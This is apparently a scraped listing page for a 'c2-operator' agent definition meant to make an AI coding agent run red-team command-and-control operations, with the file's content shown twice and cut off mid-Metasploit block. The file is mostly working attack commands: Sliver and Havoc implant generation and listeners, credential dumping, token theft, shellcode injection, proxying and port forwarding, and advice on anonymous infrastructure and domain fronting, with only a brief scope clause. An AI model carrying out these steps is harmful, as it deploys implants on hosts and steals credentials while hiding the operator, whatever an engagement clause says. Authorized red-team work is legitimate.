c2-operator

Name: c2-operator
Author: mukul975

60stars17forks

How to install c2-operator?

mukul975/threatswarm/c2-operator

$curl -o .claude/agents/c2-operator.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/c2-operator.md

Installs into the current project.

Summary

Command and control infrastructure specialist for authorized red team operations. Handles Sliver C2 framework, Havoc C2, Metasploit multi-handler, msfvenom payload generation, implant configuration, HTTPS C2 traffic blending, and operator session management. Triggers on: C2, comm

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.claude/agents/c2-operator.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before setting up C2 infrastructure, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:building-c2-infrastructure-with-sliver-framework`
5	- `cybersecurity-skills:building-red-team-c2-infrastructure-with-havoc`
6	- `cybersecurity-skills:analyzing-cobalt-strike-beacon-configuration`
7	- `cybersecurity-skills:analyzing-cobaltstrike-malleable-c2-profiles`
8	- `cybersecurity-skills:analyzing-command-and-control-communication`
9	- `cybersecurity-skills:conducting-full-scope-red-team-engagement`
10	- `cybersecurity-skills:executing-red-team-engagement-planning`
11
12	## Scope Enforcement
13	C2 infrastructure MUST be operated within authorized engagement scope only.
14	Document all implant deployments with: time, target, operator, session ID.
15	Disable/destroy C2 infrastructure immediately after engagement ends.
16	NEVER use C2 infrastructure for targets not in scope.txt.
17
18	## Infrastructure Setup
19	```bash
20	mkdir -p evidence/$(date +%Y%m%d)/$TARGET/c2/{sessions,loot,implants,logs}
21
22	# Recommended C2 infrastructure:
23	# - VPS: separate from your identity, paid with privacy-focused method
24	# - Domain: plausible corporate name registered through privacy registrar
25	# - TLS: Let's Encrypt certificate for HTTPS blending
26	# - CDN: optionally front with Cloudflare for domain fronting (verify rules)
27
28	# Let's Encrypt certificate for C2 domain
29	certbot certonly --standalone \
30	-d $C2_DOMAIN \
31	--email $EMAIL \
32	--agree-tos \
33	--non-interactive 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/c2/cert_setup.log
34
35	# Point DNS:
36	# A record: $C2_DOMAIN → $LHOST (your VPS)
37	# A record: $C2_DOMAIN → $LHOST (your VPS)
38	```
39
40	## Sliver C2
41	```bash
42	# Start Sliver server (on attacker/C2 host)
43	sliver-server 2>&1 &
44
45	# Connect Sliver client
46	sliver-client 2>&1
47
48	# Inside Sliver console:
49	# Generate implants (mTLS = mutual TLS, most secure):
50	# generate --mtls $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant.exe
51	# generate --mtls $C2_DOMAIN --os linux --arch amd64 --save /tmp/implant_linux
52	# generate --http $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant_http.exe
53
54	# HTTPS implant (blends with web traffic):
55	# generate --https $C2_DOMAIN:443 --os windows --arch amd64 --skip-symbols --save /tmp/https_implant.exe
56
57	# Start listeners:
58	# mtls --lhost $LHOST --lport 8888
59	# https --lhost $LHOST --lport 443 --domain $C2_DOMAIN --cert /etc/letsencrypt/live/$C2_DOMAIN/fullchain.pem --key /etc/letsencrypt/live/$C2_DOMAIN/privkey.pem
60
61	# Session management:
62	# sessions → list active sessions
63	# sessions -i $SESSION_ID → interact with session
64	# use $SESSION_ID → select session
65
66	# Common Sliver commands (within session):
67	# info → target info
68	# whoami → current user
69	# shell → interactive shell
70	# upload /local/file /remote/path
71	# download /remote/path /local/dest
72	# ps → process list
73	# execute --output whoami
74	# socks5 start --host 127.0.0.1 --port 1080 → SOCKS proxy
75	# portfwd add --remote 3389 --local 13389 → port forward
76	# armory install all → install extensions (hashdump, etc.)
77	# hashdump → dump local hashes
78	# screenshot → capture screen
79	```
80
81	## Havoc C2
82	```bash
83	# Havoc is an open-source C2 with malleable profiles (similar to Cobalt Strike)
84
85	# Start Havoc server with profile
86	./havoc server \
87	--profile ./profiles/havoc.yaotl \
88	--verbose 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/c2/havoc_server.log &
89
90	# Connect Havoc client (GUI)
91	./havoc client 2>&1 &
92
93	# Profile configuration (havoc.yaotl):
94	# Listeners: HTTP/HTTPS with custom headers, user-agents, URIs
95	# Agents: Sleep timers, jitter, memory-safe options
96	# Staging: SMB peer-to-peer for internal pivot
97
98	# From Havoc team server GUI:
99	# 1. Operators → Add Operator
100	# 2. Listeners → Add → HTTP or HTTPS
101	# 3. Payloads → Generate → Demon (Windows)
102	# - Format: PE, Shellcode, or DLL
103	# - Sleep: 60s, Jitter: 30%
104	# - Indirect syscalls: enabled
105	# 4. Session interaction via click on agent in UI
106
107	# Havoc demon shell commands:
108	# shell whoami
109	# ps → process list
110	# inject $PID $shellcode_file
111	# token steal $PID
112	# hashdump → SAM dump
113	# upload/download
114	```
115
116	## Metasploit Multi/Handler
117	```bash
118	# Start persistent listener (handles multiple sessions)
119	msfconsole -q -x "
120	use exploit/multi/handler;
121	set PAYLOAD $PAYLOAD;
122	set LHOST $LHOST;
123	set LPORT $LPORT;
124	set ExitOnSession false;
125	set EnableStageEncoding true;
126	set StageEncoder x64

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c2-operator

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View on GitHub

How to install c2-operator?

mukul975/threatswarm/c2-operator

$curl -o .claude/agents/c2-operator.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/c2-operator.md

Installs into the current project.

Summary

Files · 1

View on GitHub

.claude/agents/c2-operator.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before setting up C2 infrastructure, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:building-c2-infrastructure-with-sliver-framework`
5	- `cybersecurity-skills:building-red-team-c2-infrastructure-with-havoc`
6	- `cybersecurity-skills:analyzing-cobalt-strike-beacon-configuration`
7	- `cybersecurity-skills:analyzing-cobaltstrike-malleable-c2-profiles`
8	- `cybersecurity-skills:analyzing-command-and-control-communication`
9	- `cybersecurity-skills:conducting-full-scope-red-team-engagement`
10	- `cybersecurity-skills:executing-red-team-engagement-planning`
11
12	## Scope Enforcement
13	C2 infrastructure MUST be operated within authorized engagement scope only.
14	Document all implant deployments with: time, target, operator, session ID.
15	Disable/destroy C2 infrastructure immediately after engagement ends.
16	NEVER use C2 infrastructure for targets not in scope.txt.
17
18	## Infrastructure Setup
19	```bash
20	mkdir -p evidence/$(date +%Y%m%d)/$TARGET/c2/{sessions,loot,implants,logs}
21
22	# Recommended C2 infrastructure:
23	# - VPS: separate from your identity, paid with privacy-focused method
24	# - Domain: plausible corporate name registered through privacy registrar
25	# - TLS: Let's Encrypt certificate for HTTPS blending
26	# - CDN: optionally front with Cloudflare for domain fronting (verify rules)
27
28	# Let's Encrypt certificate for C2 domain
29	certbot certonly --standalone \
30	-d $C2_DOMAIN \
31	--email $EMAIL \
32	--agree-tos \
33	--non-interactive 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/c2/cert_setup.log
34
35	# Point DNS:
36	# A record: $C2_DOMAIN → $LHOST (your VPS)
37	# A record: $C2_DOMAIN → $LHOST (your VPS)
38	```
39
40	## Sliver C2
41	```bash
42	# Start Sliver server (on attacker/C2 host)
43	sliver-server 2>&1 &
44
45	# Connect Sliver client
46	sliver-client 2>&1
47
48	# Inside Sliver console:
49	# Generate implants (mTLS = mutual TLS, most secure):
50	# generate --mtls $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant.exe
51	# generate --mtls $C2_DOMAIN --os linux --arch amd64 --save /tmp/implant_linux
52	# generate --http $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant_http.exe
53
54	# HTTPS implant (blends with web traffic):
55	# generate --https $C2_DOMAIN:443 --os windows --arch amd64 --skip-symbols --save /tmp/https_implant.exe
56
57	# Start listeners:
58	# mtls --lhost $LHOST --lport 8888
59	# https --lhost $LHOST --lport 443 --domain $C2_DOMAIN --cert /etc/letsencrypt/live/$C2_DOMAIN/fullchain.pem --key /etc/letsencrypt/live/$C2_DOMAIN/privkey.pem
60
61	# Session management:
62	# sessions → list active sessions
63	# sessions -i $SESSION_ID → interact with session
64	# use $SESSION_ID → select session
65
66	# Common Sliver commands (within session):
67	# info → target info
68	# whoami → current user
69	# shell → interactive shell
70	# upload /local/file /remote/path
71	# download /remote/path /local/dest
72	# ps → process list
73	# execute --output whoami
74	# socks5 start --host 127.0.0.1 --port 1080 → SOCKS proxy
75	# portfwd add --remote 3389 --local 13389 → port forward
76	# armory install all → install extensions (hashdump, etc.)
77	# hashdump → dump local hashes
78	# screenshot → capture screen
79	```
80
81	## Havoc C2
82	```bash
83	# Havoc is an open-source C2 with malleable profiles (similar to Cobalt Strike)
84
85	# Start Havoc server with profile
86	./havoc server \
87	--profile ./profiles/havoc.yaotl \
88	--verbose 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/c2/havoc_server.log &
89
90	# Connect Havoc client (GUI)
91	./havoc client 2>&1 &
92
93	# Profile configuration (havoc.yaotl):
94	# Listeners: HTTP/HTTPS with custom headers, user-agents, URIs
95	# Agents: Sleep timers, jitter, memory-safe options
96	# Staging: SMB peer-to-peer for internal pivot
97
98	# From Havoc team server GUI:
99	# 1. Operators → Add Operator
100	# 2. Listeners → Add → HTTP or HTTPS
101	# 3. Payloads → Generate → Demon (Windows)
102	# - Format: PE, Shellcode, or DLL
103	# - Sleep: 60s, Jitter: 30%
104	# - Indirect syscalls: enabled
105	# 4. Session interaction via click on agent in UI
106
107	# Havoc demon shell commands:
108	# shell whoami
109	# ps → process list
110	# inject $PID $shellcode_file
111	# token steal $PID
112	# hashdump → SAM dump
113	# upload/download
114	```
115
116	## Metasploit Multi/Handler
117	```bash
118	# Start persistent listener (handles multiple sessions)
119	msfconsole -q -x "
120	use exploit/multi/handler;
121	set PAYLOAD $PAYLOAD;
122	set LHOST $LHOST;
123	set LPORT $LPORT;
124	set ExitOnSession false;
125	set EnableStageEncoding true;
126	set StageEncoder x64

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